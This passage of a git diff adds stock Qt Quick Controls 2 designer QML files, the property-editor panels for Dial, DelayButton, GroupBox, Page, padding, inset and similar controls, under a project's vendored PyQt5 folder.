backendValues.hoverEnabled.valueToString + backendValue: backendValues.hoverEnabled + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Spacing") + tooltip: qsTr("Spacing between internal elements of the control.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.spacing + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Wheel") + tooltip: qsTr("Whether control accepts wheel events.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.wheelEnabled.valueToString + backendValue: backendValues.wheelEnabled + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSpecifics.qml new file mode 100644 index 00000000..ccfd8853 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ControlSpecifics.qml @@ -0,0 +1,55 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DelayButtonSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DelayButtonSpecifics.qml new file mode 100644 index 00000000..40b673a1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DelayButtonSpecifics.qml @@ -0,0 +1,81 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("DelayButton") + + SectionLayout { + Label { + text: qsTr("Delay") + tooltip: qsTr("The delay in milliseconds.") + } + SecondColumnLayout { + SpinBox { + minimumValue: 0 + maximumValue: 9999999 + decimals: 0 + stepSize: 1 + backendValue: backendValues.delay + Layout.fillWidth: true + } + } + } + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DialSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DialSpecifics.qml new file mode 100644 index 00000000..a0df81ef --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/DialSpecifics.qml @@ -0,0 +1,172 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("Dial") + + SectionLayout { + Label { + text: qsTr("Value") + tooltip: qsTr("The current value of the dial.") + } + SecondColumnLayout { + SpinBox { + minimumValue: Math.min(backendValues.from.value, backendValues.to.value) + maximumValue: Math.max(backendValues.from.value, backendValues.to.value) + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.value + Layout.fillWidth: true + } + } + + Label { + text: qsTr("From") + tooltip: qsTr("The starting value of the dial range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.from + Layout.fillWidth: true + } + } + + Label { + text: qsTr("To") + tooltip: qsTr("The ending value of the dial range.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.to + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Step Size") + tooltip: qsTr("The step size of the dial.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 2 + stepSize: 0.1 + backendValue: backendValues.stepSize + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Snap Mode") + tooltip: qsTr("The snap mode of the dial.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.snapMode + model: [ "NoSnap", "SnapOnRelease", "SnapAlways" ] + scope: "Dial" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Live") + tooltip: qsTr("Whether the dial provides live value updates.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.live.valueToString + backendValue: backendValues.live + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Input Mode") + tooltip: qsTr("How the dial tracks movement.") + } + SecondColumnLayout { + ComboBox { + backendValue: backendValues.inputMode + model: [ "Circular", "Horizontal", "Vertical" ] + scope: "Dial" + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Wrap") + tooltip: qsTr("Whether the dial wraps when dragged.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.wrap.valueToString + backendValue: backendValues.wrap + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/FrameSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/FrameSpecifics.qml new file mode 100644 index 00000000..f17b6399 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/FrameSpecifics.qml @@ -0,0 +1,59 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + PaneSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/GroupBoxSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/GroupBoxSpecifics.qml new file mode 100644 index 00000000..3a705bcc --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/GroupBoxSpecifics.qml @@ -0,0 +1,77 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("GroupBox") + + SectionLayout { + Label { + text: qsTr("Title") + tooltip: qsTr("The title of the group box.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.title + Layout.fillWidth: true + } + } + } + } + + PaneSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/InsetSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/InsetSection.qml new file mode 100644 index 00000000..4253b170 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/InsetSection.qml @@ -0,0 +1,119 @@ +/**************************************************************************** +** +** Copyright (C) 2020 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Inset") + + SectionLayout { + Label { + text: qsTr("Vertical") + } + SecondColumnLayout { + Label { + text: qsTr("Top") + tooltip: qsTr("Top inset for the background.") + width: 42 + } + SpinBox { + maximumValue: 10000 + minimumValue: -10000 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.topInset + Layout.fillWidth: true + } + Item { + width: 4 + height: 4 + } + + Label { + text: qsTr("Bottom") + tooltip: qsTr("Bottom inset for the background.") + width: 42 + } + SpinBox { + maximumValue: 10000 + minimumValue: -10000 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.bottomInset + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Horizontal") + } + SecondColumnLayout { + Label { + text: qsTr("Left") + tooltip: qsTr("Left inset for the background.") + width: 42 + } + SpinBox { + maximumValue: 10000 + minimumValue: -10000 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.leftInset + Layout.fillWidth: true + } + Item { + width: 4 + height: 4 + } + + Label { + text: qsTr("Right") + tooltip: qsTr("Right inset for the background.") + width: 42 + } + SpinBox { + maximumValue: 10000 + minimumValue: -10000 + realDragRange: 5000 + decimals: 0 + backendValue: backendValues.rightInset + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSection.qml new file mode 100644 index 00000000..a337bcee --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSection.qml @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + id: section + caption: qsTr("ItemDelegate") + + SectionLayout { + Label { + text: qsTr("Highlighted") + tooltip: qsTr("Whether the delegate is highlighted.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.highlighted.valueToString + backendValue: backendValues.highlighted + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSpecifics.qml new file mode 100644 index 00000000..58063980 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/ItemDelegateSpecifics.qml @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + ItemDelegateSection { + width: parent.width + } + + AbstractButtonSection { + width: parent.width + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/LabelSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/LabelSpecifics.qml new file mode 100644 index 00000000..e5d5e04f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/LabelSpecifics.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + StandardTextSection { + width: parent.width + showIsWrapping: true + showFormatProperty: true + showVerticalAlignment: true + } + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Text Color") + + ColorEditor { + caption: qsTr("Text Color") + backendValue: backendValues.color + supportGradient: false + } + } + + Section { + anchors.left: parent.left + anchors.right: parent.right + caption: qsTr("Style Color") + + ColorEditor { + caption: qsTr("Style Color") + backendValue: backendValues.styleColor + supportGradient: false + } + } + + FontSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } + + InsetSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaddingSection.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaddingSection.qml new file mode 100644 index 00000000..a7dee28e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PaddingSection.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Section { + caption: qsTr("Padding") + + SectionLayout { + Label { + text: qsTr("Top") + tooltip: qsTr("Padding between the content and the top edge of the control.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.topPadding + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Left") + tooltip: qsTr("Padding between the content and the left edge of the control.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.leftPadding + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Right") + tooltip: qsTr("Padding between the content and the right edge of the control.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.rightPadding + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Bottom") + tooltip: qsTr("Padding between the content and the bottom edge of the control.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.bottomPadding + Layout.fillWidth: true + } + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageIndicatorSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageIndicatorSpecifics.qml new file mode 100644 index 00000000..20aa8577 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageIndicatorSpecifics.qml @@ -0,0 +1,98 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("PageIndicator") + + SectionLayout { + Label { + text: qsTr("Count") + tooltip: qsTr("The number of pages.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.count + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Current") + tooltip: qsTr("The index of the current page.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.currentIndex + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Interactive") + tooltip: qsTr("Whether the control is interactive.") + } + SecondColumnLayout { + CheckBox { + text: backendValues.interactive.valueToString + backendValue: backendValues.interactive + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + PaddingSection { + width: parent.width + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageSpecifics.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageSpecifics.qml new file mode 100644 index 00000000..2dca1100 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/designer/PageSpecifics.qml @@ -0,0 +1,101 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import HelperWidgets 2.0 +import QtQuick.Layouts 1.12 + +Column { + width: parent.width + + Section { + width: parent.width + caption: qsTr("Page") + + SectionLayout { + Label { + text: qsTr("Title") + tooltip: qsTr("Title of the page.") + } + SecondColumnLayout { + LineEdit { + backendValue: backendValues.title + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Width") + tooltip: qsTr("Content height used for calculating the total implicit width.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentWidth + Layout.fillWidth: true + } + } + + Label { + text: qsTr("Content Height") + tooltip: qsTr("Content height used for calculating the total implicit height.") + } + SecondColumnLayout { + SpinBox { + maximumValue: 9999999 + minimumValue: -9999999 + decimals: 0 + backendValue: backendValues.contentHeight + Layout.fillWidth: true + } + } + } + } + + ControlSection { + width: parent.width + } + + FontSection { + width: parent.width + } + + PaddingSection { + 